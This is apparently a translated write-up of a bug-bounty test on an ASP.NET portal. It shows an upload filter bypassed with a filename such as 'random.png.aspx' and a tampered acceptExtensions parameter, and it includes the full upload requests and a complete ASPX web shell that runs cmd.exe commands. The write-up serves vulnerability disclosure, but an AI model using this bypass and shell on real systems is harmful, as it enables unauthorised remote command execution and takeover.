扫码领资料
获网安教程
来Track安全社区投稿~
赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
这是一个网络门户,我被提供了测试账号。我们暂且称该网站为 subdomain.REDACTED.vn
。按照惯例,我手动测试,通过浏览每个功能并正常使用网站来了解其工作原理。
其中有一个端点允许将文档上传到服务器。特别之处在于它允许上传多种文件扩展名,这让我认为这个功能可能值得深入研究。由于该门户使用的是 ASP.NET框架,我尝试上传了一个随机的 ASPX 文件,以下是我收到的结果:
请求
POST /api/Upload?dirName=<value>&typeData=files&acceptExtensions=[%22.pdf%22,%22.png%22,%22.jpeg%22,%22.jpg%22,%22.doc%22,%22.docx%22,%22.xls%22,%22.xlsx%22,%22.gif%22,%22.aspx%22] HTTP/2
Host: subdomain.REDACTED.vn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer Token
Content-Type: multipart/form-data; boundary=---------------------------268323296236829192843718666811
Content-Length: 1806
Origin: https://subdomain.REDACTED.vn
Referer: https://subdomain.REDACTED.vn/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
-----------------------------11641410975405508213559672945
Content-Disposition: form-data; name="files"; filename="random.aspx"
Content-Type: text/html
<File Content here>
-----------------------------11641410975405508213559672945--
响应
服务器返回的信息显示,它仅允许上传特定的文件扩展名:.pdf;.png;.jpeg;.jpg;.doc;.docx;.xls;.xlsx;.gif
。
如果仔细观察,会发现请求中的 acceptExtensions
参数也包含了这些文件扩展名。于是,我尝试在该参数中添加 ".aspx"
并再次尝试上传文件。
服务器返回的消息翻译为“文件格式无效,请选择有效格式”。
这表明我们能够上传 .aspx
文件,但服务器可能仍然存在其他检查机制。于是,我尝试了一些技术来混淆文件名。
情况 1:random.aspx;.jpg
当我上传文件并尝试访问它时,页面显示如下内容:
我们可以推断出,服务器是通过文件名中的最后一个点来识别文件扩展名的。尝试使用空字节注入(random.aspx%00.jpg
)或 URL 编码也会失败,因为服务器会保留文件名的原样,不会进行任何修改。
情况2:random.png.aspx
这次我改变了扩展名的顺序,结果成功了 :)。我还发现,只要文件名中包含允许的扩展名,我们就可以绕过保护。例如,randompng.aspx
也能成功上传。成功上传文件后,我便可以访问它并开始执行系统命令。
请求
POST /api/Upload?dirName=<value>&typeData=files&acceptExtensions=[%22.pdf%22,%22.png%22,%22.jpeg%22,%22.jpg%22,%22.doc%22,%22.docx%22,%22.xls%22,%22.xlsx%22,%22.gif%22,%22.aspx%22] HTTP/2
Host: subdomain.REDACTED.vn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer Token
Content-Type: multipart/form-data; boundary=---------------------------268323296236829192843718666811
Content-Length: 1806
Origin: https://subdomain.REDACTED.vn
Referer: https://subdomain.REDACTED.vn/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers-----------------------------268323296236829192843718666811
Content-Disposition: form-data; name="files"; filename="random.png.aspx"
Content-Type: text/html
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %><script runat="server"> Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start() Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub</script><html>
<body>
<form runat="server">
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
<p><asp:Label id="result" runat="server"></asp:Label>
</form>
</body>
</html>
-----------------------------268323296236829192843718666811--
我从Github上获取了.aspx
文件,链接是 https://github.com/nikicat/web-malware-collection/blob/master/Backdoors/ASP/cmd.aspx。这个脚本允许我直接在前端执行命令。
攻击者可以执行后期利用,提升权限并完全控制整个系统。
以上内容由白帽子左一翻译并整理。原文:https://medium.com/@p00dl3/remote-code-execution-via-file-upload-vulnerability-in-asp-net-website-845cbefdded5
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。